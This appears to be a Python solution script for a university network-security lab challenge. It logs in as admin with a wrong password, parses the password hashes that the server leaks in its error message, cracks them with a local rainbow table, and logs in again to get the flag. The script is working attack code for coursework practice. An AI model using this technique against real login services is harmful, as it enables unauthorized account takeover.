77 lines
2.0 KiB
Python
77 lines
2.0 KiB
Python
import socket
|
|
import json
|
|
import base64
|
|
|
|
# Fill in the right target here
|
|
HOST = "netsec.net.in.tum.de" # TODO
|
|
# HOST = "localhost"
|
|
PORT = 20204 # TODO
|
|
|
|
|
|
def parse_list_string(string_list):
|
|
# Remove brackets and split
|
|
return [item.strip().strip("'\"") for item in string_list.strip("[]").split(",")]
|
|
|
|
|
|
def decode_hash(hash_encode):
|
|
ddata = {}
|
|
for key, value in hash_encode.items():
|
|
ddata[key] = base64.b64decode(value).hex()
|
|
return ddata
|
|
|
|
|
|
def search_password(target_pass, rainbow_dict):
|
|
for key, value in rainbow_dict.items():
|
|
if value == target_pass:
|
|
return key
|
|
return None
|
|
|
|
|
|
def crack_hash(targets):
|
|
rainbow_dict = None
|
|
with open("rainbow_table.json", "r") as f:
|
|
rainbow_dict = json.load(f)
|
|
hash_dict = decode_hash(rainbow_dict)
|
|
password = ""
|
|
for target in targets:
|
|
password += search_password(target, hash_dict) + ";"
|
|
return password
|
|
|
|
|
|
def get_flag():
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
|
|
s.connect((HOST, PORT))
|
|
sf = s.makefile("rw") # we use a file abstraction for the sockets
|
|
print(sf.readline().rstrip("\n"))
|
|
print("GET_SECRET Initiated")
|
|
sf.write("GET_SECRET\n")
|
|
sf.flush()
|
|
print(sf.readline().rstrip("\n"))
|
|
print("inserted Username admin")
|
|
sf.write("admin\n")
|
|
sf.flush()
|
|
print(sf.readline().rstrip("\n"))
|
|
print("inserted password 'rand123'")
|
|
sf.write("ran123\n")
|
|
sf.flush()
|
|
output = sf.readline().rstrip("\n").split("Passwords do not match hashes ")[1]
|
|
pos_pas = parse_list_string(output)
|
|
password = crack_hash(pos_pas)[:-1]
|
|
print(f"accumulated the password as '{password}'")
|
|
print(sf.readline().rstrip("\n"))
|
|
print("inserted Username admin")
|
|
sf.write("admin\n")
|
|
sf.flush()
|
|
print(sf.readline().rstrip("\n"))
|
|
print(f"inserted password '{password}")
|
|
sf.write(f"{password}\n")
|
|
sf.flush()
|
|
print(sf.readline().rstrip("\n"))
|
|
sf.close()
|
|
s.close()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
get_flag()
|